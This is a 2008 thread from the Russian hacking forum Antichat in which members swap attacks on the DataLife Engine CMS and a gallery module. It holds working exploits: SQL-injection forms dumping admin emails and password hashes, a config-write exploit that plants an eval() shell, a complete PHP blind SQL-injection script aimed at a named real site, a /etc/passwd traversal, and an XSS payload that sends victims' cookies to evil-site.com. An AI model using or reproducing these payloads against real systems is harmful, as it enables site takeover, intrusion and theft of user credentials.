Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

24.06.2008, 02:51
|
|
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме: 3799424
Репутация:
479
|
|
Сообщение от Ar3s
Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.
чтобы php код исполнялся в шаблонах (tpl)
надо:
В файле index.php, заменить
PHP код:
echo $tpl->result['main'];
на
PHP код:
function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);
Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код.
(с) dle-news.ru
так что облом
---------------------------------------------
загружать шелл через добавление новости тоже не получается.
1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом.
2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором:
PHP код:
<FilesMatch ".*">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">
Order deny,allow
Allow from all
</FilesMatch>
DLE 7.0
Последний раз редактировалось #Wolf#; 24.06.2008 в 02:56..
|
|
|

01.08.2008, 22:33
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме: 1404552
Репутация:
568
|
|
Datalife Engine XSRF пытались залатать......
http://dle-news.ru/bags/v70/301-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
обойти:
вместо javascript пишем Javascript
вместо document.cookie пишем Document.cookie 
Последний раз редактировалось sabe; 01.08.2008 в 22:40..
|
|
|

03.08.2008, 19:13
|
|
Новичок
Регистрация: 03.08.2008
Сообщений: 1
Провел на форуме: 35701
Репутация:
5
|
|
Datalife ветки 6.x
Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера:
Код:
GET http://www.site.net/ HTTP/1.0
Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf
Host: www.site.net
Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше?
P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.
|
|
|

05.08.2008, 03:55
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме: 1404552
Репутация:
568
|
|
Последний раз редактировалось sabe; 05.08.2008 в 04:06..
|
|
|

18.08.2008, 19:57
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает):
В файле: http://site/admin.php
Код:
Cookie: dle_lastusername='><script>alert(/XSS/)</script>
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 18.08.2008 в 20:00..
|
|
|

02.10.2008, 00:30
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
Dle forum 2.1 (возможно, последующие версии, не проверял)
Эксплойт, получение логина, хеша, мыла админа:
Код:
<form action="http://evil.com/?do=forum&act=category" method="post">
<input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from dle_users where user_group=1 limit 1/*"/>
<input type="submit" value="ok"/>
</form>
Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым.
Dle <=6.7 (возможно, последующие версии, не проверял)
Эксплойт, дающий шелл (использовать залогиненным админом) :
Код:
<form action="http://evil.com/admin.php?mod=options&action=syscon" method="post">
<input name="save_con[test');@eval(trim(stripslashes($lala)));$config=array('test]" value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>
далее
Код HTML:
http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode();
Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг
ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов
Я кончил.
Последний раз редактировалось jokester; 08.06.2009 в 18:26..
|
|
|

25.11.2008, 07:26
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме: 1404552
Репутация:
568
|
|
|
|
|

30.11.2008, 01:05
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме: 13395217
Репутация:
2097
|
|
Blind slq-inj в модуле галерея для dle, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
PHP код:
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];
if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'";
$result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim");
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции
Пример запроса:
Код:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: www.simfilife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
Exploit:
PHP код:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
//Black Toad Team
/*-----------------------------------------------------*/
/*-----------------Настройки---------------------------*/
$good = "MySQL Fatal Error";
$bad = "robots";
$host= "simfilife.net";//указываем сайт
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
$body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
$index = 1;
$result = "";
$end = ",(select 1 from dle_usergroups),0)&news_msort=DESC";
function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}
function post_sql($host,$path,$post_body)
{
global $end;
$post_body .= $end;
$post_query = "POST ".$path." HTTP/1.1\r\n";
$post_query .= "Host: ".$host."\r\n";
$post_query .= "Connection: close\r\n";
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post_query .= "Content-length: " . strlen($post_body) . "\r\n\r\n";
$post_query .= $post_body;
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if (!$sock) die('Could not connect to host! ');
fputs($sock, $post_query);
global $good;
global $bad;
$answer = '';
while (!feof($sock)) {
$answer .= fgets($sock, 1024);
if (strpos($answer,$good))
{
fclose($sock);
return true;
}
if (strpos($answer,$bad))
{
fclose($sock);
return false;
}
}
fclose($sock);
return false;
}
function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
global $body;
echo "Символ найден: ";
if (($max-$min)==1)
if (post_sql($host, $path, $body.$index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (post_sql($host, $path, $body.$index.",1))>{$max}-1"))
{
$result .=chr($max);
} else
{
if(post_sql($host, $path, $body.$index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}
$bool = true;
while ($bool==true)
{
if (post_sql($host, $path, $body.$index.",1))>0"))
{
echo ("Символ есть, идет подбор...<br>");
flush();
$ok = true;
}
else
{
echo ("Символы кончились <br>");
$ok = false;
$bool = false;
echo $result;
}
$min = 31;
$max = 123;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (post_sql($host, $path, $body.$index.",1))<{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}
?>
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
Последний раз редактировалось l-l00K; 30.11.2008 в 01:26..
|
|
|

15.12.2008, 23:23
|
|
Участник форума
Регистрация: 15.12.2008
Сообщений: 262
Провел на форуме: 418331
Репутация:
66
|
|
Сообщение от Solide Snake
Код:
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
(c) Scipio
Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl
Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp"
Код:
if ($_REQUEST['vote_skin']) {
$qw=$_REQUEST['vote_skin'];
$qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw);
if($qqq){
if (is_dir(ROOT_DIR.'/templates/'.$qw))
{
$config['skin'] = $qw;
}
}
else {
die("Hacking attempt!");
}
|
|
|

19.12.2008, 18:24
|
|
Новичок
Регистрация: 04.12.2007
Сообщений: 2
Провел на форуме: 13790
Репутация:
6
|
|
свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi
Код:
http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E
готовый к работе
Код:
http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|